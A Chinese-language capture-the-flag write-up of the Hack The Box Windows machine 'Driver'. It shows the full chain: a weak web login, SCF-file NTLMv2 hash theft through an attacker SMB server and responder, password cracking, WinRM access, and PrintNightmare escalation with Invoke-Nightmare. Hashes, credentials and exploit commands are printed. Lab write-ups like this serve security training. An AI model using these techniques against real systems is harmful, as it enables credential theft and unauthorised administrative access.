[HTB] Driver Writeup

admin 2023年1月24日01:15:00评论96 views字数 6199阅读20分39秒阅读模式

概述 (Overview)

[HTB] Driver Writeup

HOST: 10.10.11.106

OS: Windows

发布时间: 2021-10-03

完成时间: 2021-11-12

机器作者: MrR3boot

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #PrintNightmare #SMB_SCF #NTLMv2

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行端口信息枚举,访问 Web 服务并使用弱口令登录控制台。利用文件上传功能创建 SCF 文件,利用漏洞来窃取 NTLMv2 Hash ,在枚举出明文密码后登录 WinRM 服务拿到立足点。

通过对目标服务器运行服务的信息收集,发现 Print Spooler 服务是开启的,最终利用 PrintNightmare 漏洞完成权限提升。

枚举(Enumeration)

首先使用 Nmap 对目标服务器的开放端口进行识别:

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorizedx0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open  pando-pub?
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

扫描结果中可知目标服务器系统类型是 Windows,对外开放有 80 Web 服务端口、135/445 SMB 服务端口、5986 WinRM 服务端口。

从暴漏的服务大致能够推算出攻击路线,从 Web 服务入手寻找可以进行登录 WinRM 服务的点,或者在 SMB 服务中获得信息泄漏等帮助内容,随后在进行本地权限提升(最终结果和当前预想的攻击路径一致)。

Port 80 - HTTP

使用浏览器访问目标服务器的 Web 服务,提示需要 Basic 认证才能访问,随手尝试了一组弱口令 admin:admin 成功登录系统。

[HTB] Driver Writeup

c192e7767192c7968d7418874c4f4be7.png

立足点(Foothold)

通过 Url 访问后缀可知 Web 服务使用的是 PHP 脚本,从 title 和 功能可知这是打印机服务的 Web 应用程序。在菜单中找到 “固件更新” 的文件上传处,尝试进行利用:

[HTB] Driver Writeup

f9315451290e7c3e5e1dec558d048053.png

通过 google 搜索 title 等信息,发现 MFP 指向的是 HP 的商用产品,浏览 https://support.hp.com/us-en/document/c01711356 文档了解到固件文件后缀、命名规则等内容。

从页面内容只获知,当我们上次对应固件附件测试团队将会手动审核更新,并快速的开始测试。其中存在文件共享,可是怎么进行利用呢?我找了好久最终是在 forum 论坛中找到提示需要窃取 NTLMv2 Hash,然后接着找如何利用文件共享实现窃取。

最终找到利用图标文件获取连接文件服务器的 NTLMv2 Hash:https://www.anquanke.com/post/id/87094/

该漏洞通过向网络中的共享目录中上传特殊构造的 SCF 文件(即在 SCF 文件中将图标文件指定到我们攻击机伪造的共享目录里),故当任何用户访问该共享目录时便可获取它的 Windows NTLM Hash,从而可以进一步破解 Hash 获得明文密码或者利用 Pass The Hash 攻击目标服务器。

该漏洞的利用在限定条件下的 Windows 3.11 开始到 Windows 10 的特定版本中均存在。

简单起了一个 SMB Server 服务进行测试,当上传完自己构建的 @*.scf 文件后得到了 Windows NTLM Hash。

[HTB] Driver Writeup

340375010ac2b583994e09e710f11d41.png
$ impacket-smbserver share `pwd`
...snip...
[*] AUTHENTICATE_MESSAGE (DRIVERtony,DRIVER)
[*] User DRIVERtony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:7e4dd0230e2e16f712ac6f27165fedf2:0101000000000000004b8bd089d7d701a3f8fd92961863e7000000000100100057004a0058006600630076006d0073000300100057004a0058006600630076006d0073000200100076007100640049004b005000790071000400100076007100640049004b0050007900710007000800004b8bd089d7d701060004000200000008003000300000000000000000000000002000001f1d5a49a01503ba75d435506ae13e29853003d14f5d0649cf5b923060a64c2c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310037002e0036003400000000000000000000000000
...snip...

当然,也可以使用 responder 工具进行获取:

$ responder -wrf --lm -v  -I tun0
..snip...
[+] Listening for events...
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVERtony
[SMB] NTLMv2 Hash     : tony::DRIVER:4b0d39a8716f577a:C00AEEB5DBD4A7B3E5143B5042280A19:0101000000000000112A5CA5C4D7D701D47D2973451B9E6500000000020000000000000000000000
...snmp...

随后使用 john 工具对 NTLMv2 进行明文枚举:

[HTB] Driver Writeup

5385c4429d64beceef841f949f61df93.png

成功得到一组账户:

user: tony
pass: liltony

已知目标服务器存在 WinRM 服务,直接使用 evil-winrm 工具获取交互 shell 拿到立足点。

[HTB] Driver Writeup

499a6a57cfbe29ca7ef1f1687e37aee8.png

权限提升(Privilege Escalation)

在 crackmapexec 中存在很多功能模块,可以通过 -L 参数进行查看。这里我使用 spooler 模块进行漏洞枚举,发现 print spooler 服务是开启的,也就是说可以利用该漏洞进行权限提升。

┌──(root💀localhost)-[/home/kali/hackthebox/Driver/file]
└─# crackmapexec smb -L | grep print
[*] spooler                   Detect if print spooler is enabled or not

┌──(root💀localhost)-[/home/kali/hackthebox/Driver/file]
└─# crackmapexec smb 10.10.11.106  -u tony -p liltony -M spooler
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/slinky.py: No module named 'pylnk3'
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [+] DRIVERtony:liltony
SPOOLER     10.10.11.106    445    DRIVER           Spooler service enabled

也可用通过交互 shell 进行查看:

PS C:windowstemp> Get-Service -Name Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

首先使用的 PrintSpoofer.exe 漏洞利用程序,提示失败了缺少 SeImpersonatePrivilege 权限。额,我都忘记当时用的是谁写的版本了...

PS C:windowstemp>.PrintSpoofer.exe -i -c powershell.exe
[-] A privilege is missing: 'SeImpersonatePrivilege'

随后接着找利用 exploit,找到了该漏洞的后续升级版,PrintNightmare 漏洞。很快也检索到了纯 PowerShell 原生写的 exploit:https://github.com/calebstewart/CVE-2021-1675 ,最终用它完成了权限提升。

PS C:windowstemp> copy \10.10.17.64shareCVE-2021-1675.ps1 .
PS C:windowstemp> Import-Module .cve-2021-1675.ps1
PS C:windowstemp> net users

User accounts for \DRIVER

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
tony
The command completed successfully.

PS C:windowstemp> Invoke-Nightmare -DriverName "0x584a" -NewUser "0x584a" -NewPassword "0x584a"
PS C:windowstemp> net users

User accounts for \DRIVER

-------------------------------------------------------------------------------
0x584a                   Administrator            DefaultAccount
Guest                    tony
The command completed successfully.

PS C:windowstemp> net user 0x584a
User name                    0x584a
Full Name                    0x584a
Comment
Users comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/12/2021 5:57:10 AM
Password expires             Never
Password changeable          11/12/2021 5:57:10 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

PS C:windowstemp>

使用新创建的账户已 Administrators 权限登录 WinRM 交互 shell。

[HTB] Driver Writeup

73061988bf46ebc4dbbb5aa968317ec6.png

参考

  • • https://github.com/calebstewart/CVE-2021-1675


原文始发于微信公众号(一个人的安全笔记):[HTB] Driver Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月24日01:15:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] Driver Writeuphttp://cn-sec.com/archives/1404619.html

发表评论

匿名网友 填写信息